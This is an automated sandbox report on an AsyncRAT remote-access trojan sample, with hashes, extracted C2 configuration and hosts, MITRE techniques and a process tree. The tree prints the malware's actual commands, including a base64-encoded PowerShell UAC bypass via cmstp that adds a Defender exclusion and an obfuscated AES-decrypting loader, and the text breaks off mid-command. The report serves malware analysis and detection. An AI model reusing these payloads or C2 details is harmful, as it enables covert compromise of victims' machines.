asyncrat | d7f1777e338ff75532c01ef6fb8dd7bdf6fcba46d8ed8c7eba15f34e464b1d21

Analysis

max time kernel
150s
max time network
142s
platform
windows10-ltsc 2021_x64
resource
win10ltsc2021-20241211-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20241211-enlocale:en-usos:windows10-ltsc 2021-x64system
submitted
22-12-2024 21:46

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General

Target

AsyncRAT/upload.config.exe
Size

9.8MB
MD5

7a1eaa75ff1d1e83f564d0e5312a0930
SHA1

91988fcd3ffe2945d614f2141e0124f9ebcd6e01
SHA256

de47ee6f5098830b2569a1f0f889e021a9be2604093e3e157852060d307aa9f2
SHA512

b1d06ffc724e7a393387fb84900af0badf3a84bfe3ea0b2bed27d41f3114586e7b25b9661c2f23476b51b6cf9d5dcb36cf1d807c5441909b2a8315e4d40cc8c7
SSDEEP

49152:Plnb9f3/00iPuJXm6Os/CTu9VnAaZ+6AmX9mQXd0ujFFoyS+km9nmgMfq9+s6ewR:NnF00iPu

Score

10^/10

asyncrat default discovery execution rat

Malware Config

Extracted

Family

asyncrat

Version

0.5.8

Botnet

Default

jt8iyre.localto.net:2101

jt8iyre.localto.net:55644

Mutex

AbAUwI3PK3e3

Attributes

delay
3
install
false
install_file
winserve.exe
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral32/memory/2964-198-0x00000000078D0000-0x00000000078E2000-memory.dmp	family_asyncrat

Blocklisted process makes network request 1 IoCs

flow	pid	Process
38	2964	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3468	powershell.exe
2756	powershell.exe
4028	powershell.exe
928	powershell.exe
2964	powershell.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2366345620-3342093254-3461191856-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2366345620-3342093254-3461191856-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2366345620-3342093254-3461191856-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes dropped EXE 1 IoCs

pid	Process
4440	AsyncRAT.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%AppData%\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
4780	taskkill.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2366345620-3342093254-3461191856-1000_Classes\Local Settings	cmd.exe
Key created	\REGISTRY\USER\S-1-5-21-2366345620-3342093254-3461191856-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 44 IoCs

pid	Process
3468	powershell.exe
3468	powershell.exe
4440	AsyncRAT.exe
4440	AsyncRAT.exe
4440	AsyncRAT.exe
4440	AsyncRAT.exe
4440	AsyncRAT.exe
4440	AsyncRAT.exe
4440	AsyncRAT.exe
4440	AsyncRAT.exe
2756	powershell.exe
2756	powershell.exe
2756	powershell.exe
4440	AsyncRAT.exe
4440	AsyncRAT.exe
4440	AsyncRAT.exe
4440	AsyncRAT.exe
4440	AsyncRAT.exe
4440	AsyncRAT.exe
4440	AsyncRAT.exe
4440	AsyncRAT.exe
4440	AsyncRAT.exe
4440	AsyncRAT.exe
4440	AsyncRAT.exe
4440	AsyncRAT.exe
4440	AsyncRAT.exe
4440	AsyncRAT.exe
4440	AsyncRAT.exe
4440	AsyncRAT.exe
4440	AsyncRAT.exe
4440	AsyncRAT.exe
4440	AsyncRAT.exe
4440	AsyncRAT.exe
4440	AsyncRAT.exe
4440	AsyncRAT.exe
4440	AsyncRAT.exe
4440	AsyncRAT.exe
4440	AsyncRAT.exe
4028	powershell.exe
4028	powershell.exe
928	powershell.exe
928	powershell.exe
2964	powershell.exe
2964	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3468	powershell.exe
Token: SeDebugPrivilege	2756	powershell.exe
Token: SeIncreaseQuotaPrivilege	2756	powershell.exe
Token: SeSecurityPrivilege	2756	powershell.exe
Token: SeTakeOwnershipPrivilege	2756	powershell.exe
Token: SeLoadDriverPrivilege	2756	powershell.exe
Token: SeSystemProfilePrivilege	2756	powershell.exe
Token: SeSystemtimePrivilege	2756	powershell.exe
Token: SeProfSingleProcessPrivilege	2756	powershell.exe
Token: SeIncBasePriorityPrivilege	2756	powershell.exe
Token: SeCreatePagefilePrivilege	2756	powershell.exe
Token: SeBackupPrivilege	2756	powershell.exe
Token: SeRestorePrivilege	2756	powershell.exe
Token: SeShutdownPrivilege	2756	powershell.exe
Token: SeDebugPrivilege	2756	powershell.exe
Token: SeSystemEnvironmentPrivilege	2756	powershell.exe
Token: SeRemoteShutdownPrivilege	2756	powershell.exe
Token: SeUndockPrivilege	2756	powershell.exe
Token: SeManageVolumePrivilege	2756	powershell.exe
Token: 33	2756	powershell.exe
Token: 34	2756	powershell.exe
Token: 35	2756	powershell.exe
Token: 36	2756	powershell.exe
Token: SeDebugPrivilege	4780	taskkill.exe
Token: SeDebugPrivilege	4028	powershell.exe
Token: SeDebugPrivilege	928	powershell.exe
Token: SeIncreaseQuotaPrivilege	928	powershell.exe
Token: SeSecurityPrivilege	928	powershell.exe
Token: SeTakeOwnershipPrivilege	928	powershell.exe
Token: SeLoadDriverPrivilege	928	powershell.exe
Token: SeSystemProfilePrivilege	928	powershell.exe
Token: SeSystemtimePrivilege	928	powershell.exe
Token: SeProfSingleProcessPrivilege	928	powershell.exe
Token: SeIncBasePriorityPrivilege	928	powershell.exe
Token: SeCreatePagefilePrivilege	928	powershell.exe
Token: SeBackupPrivilege	928	powershell.exe
Token: SeRestorePrivilege	928	powershell.exe
Token: SeShutdownPrivilege	928	powershell.exe
Token: SeDebugPrivilege	928	powershell.exe
Token: SeSystemEnvironmentPrivilege	928	powershell.exe
Token: SeRemoteShutdownPrivilege	928	powershell.exe
Token: SeUndockPrivilege	928	powershell.exe
Token: SeManageVolumePrivilege	928	powershell.exe
Token: 33	928	powershell.exe
Token: 34	928	powershell.exe
Token: 35	928	powershell.exe
Token: 36	928	powershell.exe
Token: SeIncreaseQuotaPrivilege	928	powershell.exe
Token: SeSecurityPrivilege	928	powershell.exe
Token: SeTakeOwnershipPrivilege	928	powershell.exe
Token: SeLoadDriverPrivilege	928	powershell.exe
Token: SeSystemProfilePrivilege	928	powershell.exe
Token: SeSystemtimePrivilege	928	powershell.exe
Token: SeProfSingleProcessPrivilege	928	powershell.exe
Token: SeIncBasePriorityPrivilege	928	powershell.exe
Token: SeCreatePagefilePrivilege	928	powershell.exe
Token: SeBackupPrivilege	928	powershell.exe
Token: SeRestorePrivilege	928	powershell.exe
Token: SeShutdownPrivilege	928	powershell.exe
Token: SeDebugPrivilege	928	powershell.exe
Token: SeSystemEnvironmentPrivilege	928	powershell.exe
Token: SeRemoteShutdownPrivilege	928	powershell.exe
Token: SeUndockPrivilege	928	powershell.exe
Token: SeManageVolumePrivilege	928	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4440	AsyncRAT.exe

Suspicious use of SendNotifyMessage 1 IoCs

pid	Process
4440	AsyncRAT.exe

Suspicious use of WriteProcessMemory 33 IoCs

description	pid	Process	procid_target
PID 3060 wrote to memory of 556	3060	upload.config.exe	82
PID 3060 wrote to memory of 556	3060	upload.config.exe	82
PID 3060 wrote to memory of 4376	3060	upload.config.exe	83
PID 3060 wrote to memory of 4376	3060	upload.config.exe	83
PID 556 wrote to memory of 4440	556	cmd.exe	86
PID 556 wrote to memory of 4440	556	cmd.exe	86
PID 4376 wrote to memory of 1864	4376	cmd.exe	87
PID 4376 wrote to memory of 1864	4376	cmd.exe	87
PID 1864 wrote to memory of 3468	1864	WScript.exe	88
PID 1864 wrote to memory of 3468	1864	WScript.exe	88
PID 3468 wrote to memory of 2484	3468	powershell.exe	93
PID 3468 wrote to memory of 2484	3468	powershell.exe	93
PID 2484 wrote to memory of 2440	2484	csc.exe	94
PID 2484 wrote to memory of 2440	2484	csc.exe	94
PID 3468 wrote to memory of 4248	3468	powershell.exe	95
PID 3468 wrote to memory of 4248	3468	powershell.exe	95
PID 1864 wrote to memory of 4396	1864	WScript.exe	111
PID 1864 wrote to memory of 4396	1864	WScript.exe	111
PID 4396 wrote to memory of 4028	4396	cmd.exe	113
PID 4396 wrote to memory of 4028	4396	cmd.exe	113
PID 4396 wrote to memory of 4028	4396	cmd.exe	113
PID 4028 wrote to memory of 928	4028	powershell.exe	114
PID 4028 wrote to memory of 928	4028	powershell.exe	114
PID 4028 wrote to memory of 928	4028	powershell.exe	114
PID 4028 wrote to memory of 2408	4028	powershell.exe	117
PID 4028 wrote to memory of 2408	4028	powershell.exe	117
PID 4028 wrote to memory of 2408	4028	powershell.exe	117
PID 2408 wrote to memory of 460	2408	WScript.exe	118
PID 2408 wrote to memory of 460	2408	WScript.exe	118
PID 2408 wrote to memory of 460	2408	WScript.exe	118
PID 460 wrote to memory of 2964	460	cmd.exe	120
PID 460 wrote to memory of 2964	460	cmd.exe	120
PID 460 wrote to memory of 2964	460	cmd.exe	120

C:\Users\Admin\AppData\Local\Temp\AsyncRAT\upload.config.exe
"C:\Users\Admin\AppData\Local\Temp\AsyncRAT\upload.config.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3060
- C:\Windows\SYSTEM32\cmd.exe
  cmd /k start AsyncRAT.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:556
- - C:\Users\Admin\AppData\Local\Temp\AsyncRAT\AsyncRAT.exe
    AsyncRAT.exe
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    PID:4440
- C:\Windows\SYSTEM32\cmd.exe
  cmd /k start 7254_output.vbs
  2⤵
  - Checks computer location settings
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:4376
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\AsyncRAT\7254_output.vbs"
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:1864
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -Command Invoke-Expression ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gcmFuZG9tWFlaLUludm9rZS1VQUMgewoKCnBhcmFtKAogICAgW1BhcmFtZXRlcihNYW5kYXRvcnkgPSAkdHJ1ZSldCiAgICBbc3RyaW5nXSRyYW5kb21YWVpFeGVjdXRhYmxlLAogCiAgICBbUGFyYW1ldGVyKCldCiAgICBbc3RyaW5nXSRyYW5kb21YWVpDb21tYW5kCikKCiRyYW5kb21YWVpJbmZEYXRhID0gQCcKW3ZlcnNpb25dClNpZ25hdHVyZT0kY2hpY2FnbyQKQWR2YW5jZWRJTkY9Mi41CgpbRGVmYXVsdEluc3RhbGxdCkN1c3RvbURlc3RpbmF0aW9uPXJhbmRvbVhZWi1DdXN0SW5zdERlc3RTZWN0aW9uQWxsVXNlcnMKUnVuUHJlU2V0dXBDb21tYW5kcz1yYW5kb21YWVotUnVuUHJlU2V0dXBDb21tYW5kc1NlY3Rpb24KCltyYW5kb21YWVotUnVuUHJlU2V0dXBDb21tYW5kc1NlY3Rpb25dCkxJTkUKdGFza2tpbGwgL0lNIGNtc3RwLmV4ZSAvRgoKW3JhbmRvbVhZWi1DdXN0SW5zdERlc3RTZWN0aW9uQWxsVXNlcnNdCjQ5MDAwLDQ5MDAxPXJhbmRvbVhZWi1BbGxVU2VyX0xESURTZWN0aW9uLCA3CgpbcmFuZG9tWFlaLUFsbFVTZXJfTERJRFNlY3Rpb25dCiJIS0xNIiwgIlNPRlRXQVJFXE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXEFwcCBQYXRoc1xDTU1HUjMyLkVYRSIsICJQcm9maWxlSW5zdGFsbFBhdGgiLCAiJVVuZXhwZWN0ZWRFcnJvciUiLCAiIgoKW1N0cmluZ3NdClNlcnZpY2VOYW1lPSJyYW5kb21YWVpWUE4iClNob3J0U3ZjTmFtZT0icmFuZG9tWFlaVlBOIgonQAoKJHJhbmRvbVhZWkNvZGUgPSBAIgp1c2luZyBTeXN0ZW07CnVzaW5nIFN5c3RlbS5UaHJlYWRpbmc7CnVzaW5nIFN5c3RlbS5UZXh0Owp1c2luZyBTeXN0ZW0uSU87CnVzaW5nIFN5c3RlbS5EaWFnbm9zdGljczsKdXNpbmcgU3lzdGVtLkNvbXBvbmVudE1vZGVsOwp1c2luZyBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXM7CgpwdWJsaWMgY2xhc3MgcmFuZG9tWFlaQ01TVFBCeXBhc3MKewogICAgW0RsbEltcG9ydCgiU2hlbGwzMi5kbGwiLCBDaGFyU2V0ID0gQ2hhclNldC5BdXRvLCBTZXRMYXN0RXJyb3IgPSB0cnVlKV0KICAgIHN0YXRpYyBleHRlcm4gSW50UHRyIFNoZWxsRXhlY3V0ZShJbnRQdHIgaHduZCwgc3RyaW5nIGxwT3BlcmF0aW9uLCBzdHJpbmcgbHBGaWxlLCBzdHJpbmcgbHBQYXJhbWV0ZXJzLCBzdHJpbmcgbHBEaXJlY3RvcnksIGludCBuU2hvd0NtZCk7CgogICAgW0RsbEltcG9ydCgidXNlcjMyLmRsbCIpXQogICAgc3RhdGljIGV4dGVybiBJbnRQdHIgRmluZFdpbmRvdyhzdHJpbmcgbHBDbGFzc05hbWUsIHN0cmluZyBscFdpbmRvd05hbWUpOwoKICAgIFtEbGxJbXBvcnQoInVzZXIzMi5kbGwiKV0KICAgIHN0YXRpYyBleHRlcm4gYm9vbCBQb3N0TWVzc2FnZShJbnRQdHIgaFduZCwgdWludCBNc2csIGludCB3UGFyYW0sIGludCBsUGFyYW0pOwoKICAgIHB1YmxpYyBzdGF0aWMgc3RyaW5nIEJpbmFyeVBhdGggPSAiYzpcXHdpbmRvd3NcXHN5c3RlbTMyXFxjbXN0cC5leGUiOwoKICAgIHB1YmxpYyBzdGF0aWMgc3RyaW5nIFNldEluZkZpbGUoc3RyaW5nIENvbW1hbmRUb0V4ZWN1dGUsIHN0cmluZyBJbmZEYXRhKQogICAgewogICAgICAgIFN0cmluZ0J1aWxkZXIgT3V0cHV0RmlsZSA9IG5ldyBTdHJpbmdCdWlsZGVyKCk7CiAgICAgICAgT3V0cHV0RmlsZS5BcHBlbmQoIkM6XFx3aW5kb3dzXFx0ZW1wIik7CiAgICAgICAgT3V0cHV0RmlsZS5BcHBlbmQoIlxcIik7CiAgICAgICAgT3V0cHV0RmlsZS5BcHBlbmQoUGF0aC5HZXRSYW5kb21GaWxlTmFtZSgpLlNwbGl0KENvbnZlcnQuVG9DaGFyKCIuIikpWzBdKTsKICAgICAgICBPdXRwdXRGaWxlLkFwcGVuZCgiLmluZiIpOwogICAgICAgIFN0cmluZ0J1aWxkZXIgbmV3SW5mRGF0YSA9IG5ldyBTdHJpbmdCdWlsZGVyKEluZkRhdGEpOwogICAgICAgIG5ld0luZkRhdGEuUmVwbGFjZSgiTElORSIsIENvbW1hbmRUb0V4ZWN1dGUpOwogICAgICAgIEZpbGUuV3JpdGVBbGxUZXh0KE91dHB1dEZpbGUuVG9TdHJpbmcoKSwgbmV3SW5mRGF0YS5Ub1N0cmluZygpKTsKICAgICAgICByZXR1cm4gT3V0cHV0RmlsZS5Ub1N0cmluZygpOwogICAgfQoKICAgIHB1YmxpYyBzdGF0aWMgYm9vbCByYW5kb21YWVpFeGVjdXRlKHN0cmluZyBDb21tYW5kVG9FeGVjdXRlLCBzdHJpbmcgSW5mRGF0YSkKICAgIHsKICAgICAgICBjb25zdCBpbnQgV01fU1lTS0VZRE9XTiA9IDB4MDEwMDsKICAgICAgICBjb25zdCBpbnQgVktfUkVUVVJOID0gMHgwRDsKCiAgICAgICAgU3RyaW5nQnVpbGRlciBJbmZGaWxlID0gbmV3IFN0cmluZ0J1aWxkZXIoKTsKICAgICAgICBJbmZGaWxlLkFwcGVuZChTZXRJbmZGaWxlKENvbW1hbmRUb0V4ZWN1dGUsIEluZkRhdGEpKTsKCiAgICAgICAgUHJvY2Vzc1N0YXJ0SW5mbyBzdGFydEluZm8gPSBuZXcgUHJvY2Vzc1N0YXJ0SW5mbyhCaW5hcnlQYXRoKTsKICAgICAgICBzdGFydEluZm8uQXJndW1lbnRzID0gIi9hdSAiICsgSW5mRmlsZS5Ub1N0cmluZygpOwogICAgICAgIHN0YXJ0SW5mby5XaW5kb3dTdHlsZSA9IFByb2Nlc3NXaW5kb3dTdHlsZS5IaWRkZW47ICAvLyBIaWRkZW4gd2luZG93CiAgICAgICAgSW50UHRyIGRwdHIgPSBNYXJzaGFsLkFsbG9jSEdsb2JhbCgxKTsKICAgICAgICBTaGVsbEV4ZWN1dGUoZHB0ciwgIiIsIEJpbmFyeVBhdGgsIHN0YXJ0SW5mby5Bcmd1bWVudHMsICIiLCAwKTsKCiAgICAgICAgVGhyZWFkLlNsZWVwKDMwMDApOwogICAgICAgIEludFB0ciBXaW5kb3dUb0ZpbmQgPSBGaW5kV2luZG93KG51bGwsICJyYW5kb21YWVpWUE4iKTsKCiAgICAgICAgUG9zdE1lc3NhZ2UoV2luZG93VG9GaW5kLCBXTV9TWVNLRVlET1dOLCBWS19SRVRVUk4sIDApOwogICAgICAgIFRocmVhZC5TbGVlcCg1MDAwKTsKICAgICAgICBGaWxlLkRlbGV0ZShJbmZGaWxlLlRvU3RyaW5nKCkpOwogICAgICAgIHJldHVybiB0cnVlOwogICAgfQp9CiJACgokcmFuZG9tWFlaQ29uc2VudFByb21wdCA9IChHZXQtSXRlbVByb3BlcnR5IEhLTE06XFNPRlRXQVJFXE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXFBvbGljaWVzXFN5c3RlbSkuQ29uc2VudFByb21wdEJlaGF2aW9yQWRtaW4KJHJhbmRvbVhZWlNlY3VyZURlc2t0b3BQcm9tcHQgPSAoR2V0LUl0ZW1Qcm9wZXJ0eSBIS0xNOlxTT0ZUV0FSRVxNaWNyb3NvZnRcV2luZG93c1xDdXJyZW50VmVyc2lvblxQb2xpY2llc1xTeXN0ZW0pLlByb21wdE9uU2VjdXJlRGVza3RvcAppZiAoJHJhbmRvbVhZWkNvbnNlbnRQcm9tcHQgLUVxIDIgLWFuZCAkcmFuZG9tWFlaU2VjdXJlRGVza3RvcFByb21wdCAtRXEgMSkgewogICAgcmV0dXJuCn0KCnRyeSB7CiAgICAkcmFuZG9tWFlaVXNlciA9IFtTeXN0ZW0uU2VjdXJpdHkuUHJpbmNpcGFsLldpbmRvd3NJZGVudGl0eV06OkdldEN1cnJlbnQoKS5OYW1lCiAgICAkcmFuZG9tWFlaQWRtID0gR2V0LUxvY2FsR3JvdXBNZW1iZXIgLVNJRCBTLTEtNS0zMi01NDQgfCBXaGVyZS1PYmplY3QgeyAkXy5OYW1lIC1lcSAkcmFuZG9tWFlaVXNlciB9Cn0gY2F0Y2ggewogICAgJHJhbmRvbVhZWlVzZXIgPSBbU3lzdGVtLlNlY3VyaXR5LlByaW5jaXBhbC5XaW5kb3dzSWRlbnRpdHldOjpHZXRDdXJyZW50KCkuTmFtZQogICAgJHJhbmRvbVhZWkFkbWluR3JvdXBTSUQgPSAnUy0xLTUtMzItNTQ0JwogICAgJHJhbmRvbVhZWkFkbWluR3JvdXAgPSBHZXQtV21pT2JqZWN0IC1DbGFzcyBXaW4zMl9Hcm91cCB8IFdoZXJlLU9iamVjdCB7ICRfLlNJRCAtZXEgJHJhbmRvbVhZWkFkbWluR3JvdXBTSUQgfQogICAgJHJhbmRvbVhZWk1lbWJlcnMgPSAkcmFuZG9tWFlaQWRtaW5Hcm91cC5HZXRSZWxhdGVkKCJXaW4zMl9Vc2VyQWNjb3VudCIpCiAgICAkcmFuZG9tWFlaTWVtYmVycyB8IEZvckVhY2gtT2JqZWN0IHsgaWYgKCRfLkNhcHRpb24gLWVxICRyYW5kb21YWVpVc2VyKSB7ICRyYW5kb21YWVpBZG0gPSAkdHJ1ZSB9IH0KfQoKaWYgKCEkcmFuZG9tWFlaQWRtKSB7CiAgICByZXR1cm4KfQoKdHJ5IHsKICAgIGlmICghW1N5c3RlbS5JTy5GaWxlXTo6RXhpc3RzKCRyYW5kb21YWVpFeGVjdXRhYmxlKSkgewogICAgICAgICRyYW5kb21YWVpFeCA9IChHZXQtQ29tbWFuZCAkcmFuZG9tWFlaRXhlY3V0YWJsZSkKICAgICAgICBpZiAoIVtTeXN0ZW0uSU8uRmlsZV06OkV4aXN0cygkcmFuZG9tWFlaRXguU291cmNlKSkgewogICAgICAgICAgICAkcmFuZG9tWFlaRXhlY3V0YWJsZSA9ICRFeGVjdXRpb25Db250ZXh0LlNlc3Npb25TdGF0ZS5QYXRoLkdldFVucmVzb2x2ZWRQcm92aWRlclBhdGhGcm9tUFNQYXRoKCRyYW5kb21YWVpFeGVjdXRhYmxlKQogICAgICAgICAgICBpZiAoIVtTeXN0ZW0uSU8uRmlsZV06OkV4aXN0cygkcmFuZG9tWFlaRXhlY3V0YWJsZSkpIHsKICAgICAgICAgICAgICAgIHJldHVybgogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHJhbmRvbVhZWkV4ZWN1dGFibGUgPSAoR2V0LUNvbW1hbmQgJHJhbmRvbVhZWkV4ZWN1dGFibGUpLk5hbWUKICAgICAgICB9CiAgICB9Cn0gY2F0Y2ggewogICAgcmV0dXJuCn0KCmlmICgkcmFuZG9tWFlaRXhlY3V0YWJsZS5Db250YWlucygicG93ZXJzaGVsbCIpKSB7CiAgICBpZiAoJHJhbmRvbVhZWkNvbW1hbmQgLW5lICIiKSB7CiAgICAgICAgJHJhbmRvbVhZWkZpbmFsID0gInBvd2Vyc2hlbGwgLVdpbmRvd1N0eWxlIEhpZGRlbiAtYyAiIiRyYW5kb21YWVpDb21tYW5kIiIiCiAgICB9IGVsc2UgewogICAgICAgICRyYW5kb21YWVpGaW5hbCA9ICIkcmFuZG9tWFlaRXhlY3V0YWJsZSAkcmFuZG9tWFlaQ29tbWFuZCIKICAgIH0KfSBlbHNlaWYgKCRyYW5kb21YWVpFeGVjdXRhYmxlLkNvbnRhaW5zKCJjbWQiKSkgewogICAgaWYgKCRyYW5kb21YWVpDb21tYW5kIC1uZSAiIikgewogICAgICAgICRyYW5kb21YWVpGaW5hbCA9ICJjbWQgL2MgIiIkcmFuZG9tWFlaQ29tbWFuZCIiIiAgIyBDaGFuZ2VkIHRvIC9jIHRvIGNsb3NlIHRoZSBjbWQgd2luZG93CiAgICB9IGVsc2UgewogICAgICAgICRyYW5kb21YWVpGaW5hbCA9ICIkcmFuZG9tWFlaRXhlY3V0YWJsZSAkcmFuZG9tWFlaQ29tbWFuZCIKICAgIH0KfSBlbHNlIHsKICAgICRyYW5kb21YWVpGaW5hbCA9ICIkcmFuZG9tWFlaRXhlY3V0YWJsZSAkcmFuZG9tWFlaQ29tbWFuZCIKfQoKZnVuY3Rpb24gcmFuZG9tWFlaRXhlY3V0ZSB7CiAgICB0cnkgewogICAgICAgICRyYW5kb21YWVpSZXN1bHQgPSBbcmFuZG9tWFlaQ01TVFBCeXBhc3NdOjpyYW5kb21YWVpFeGVjdXRlKCRyYW5kb21YWVpGaW5hbCwgJHJhbmRvbVhZWkluZkRhdGEpCiAgICB9IGNhdGNoIHsKICAgICAgICBBZGQtVHlwZSAkcmFuZG9tWFlaQ29kZQogICAgICAgICRyYW5kb21YWVpSZXN1bHQgPSBbcmFuZG9tWFlaQ01TVFBCeXBhc3NdOjpyYW5kb21YWVpFeGVjdXRlKCRyYW5kb21YWVpGaW5hbCwgJHJhbmRvbVhZWkluZkRhdGEpCiAgICB9CgogICAgaWYgKCRyYW5kb21YWVpSZXN1bHQpIHsKICAgICAgICByZXR1cm4KICAgIH0gZWxzZSB7CiAgICAgICAgcmV0dXJuCiAgICB9Cn0KCiRyYW5kb21YWVpQcm9jZXNzID0gKChHZXQtV21pT2JqZWN0IC1DbGFzcyB3aW4zMl9wcm9jZXNzKS5uYW1lIHwgU2VsZWN0LVN0cmluZyAiY21zdHAiIHwgU2VsZWN0LU9iamVjdCAqIC1GaXJzdCAxKS5QYXR0ZXJuCmlmICgkcmFuZG9tWFlaUHJvY2VzcyAtZXEgImNtc3RwIikgewogICAgdHJ5IHsKICAgICAgICBTdG9wLVByb2Nlc3MgLU5hbWUgImNtc3RwIiAtRm9yY2UKICAgICAgICByYW5kb21YWVpFeGVjdXRlCiAgICB9IGNhdGNoIHsKICAgICAgICByZXR1cm4KICAgIH0KfSBlbHNlIHsKICAgIHJhbmRvbVhZWkV4ZWN1dGUKfQp9CgojIEZ1bmN0aW9uIENhbGwKcmFuZG9tWFlaLUludm9rZS1VQUMgLXJhbmRvbVhZWkV4ZWN1dGFibGUgInBvd2Vyc2hlbGwiIC1yYW5kb21YWVpDb21tYW5kICIuKCdBZGQtTXBQJyArICdyZWZlcmVuY2UnKSAtRXhjbHVzaW9uUGF0aCBDOlwgLUV4Y2x1c2lvblByb2Nlc3MgcG93ZXJzaGVsbC5leGUi')))
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3468
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\wgf5xduh\wgf5xduh.cmdline"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2484
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES754F.tmp" "c:\Users\Admin\AppData\Local\Temp\wgf5xduh\CSC76C96DC2F2114FFD81D74B72774D8619.TMP"
        6⤵
        
        PID:2440
    - - C:\windows\system32\cmstp.exe
        
        "C:\windows\system32\cmstp.exe" /au C:\windows\temp\4qi0xd2b.inf
        5⤵
        
        PID:4248
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\c.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4396
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ IEX '#EspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNK '.Replace('Espaco', ''); $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ZTKslE6OdsXNtdeXo76Lj86BwdjokmZoErSJ0CEwRis='); 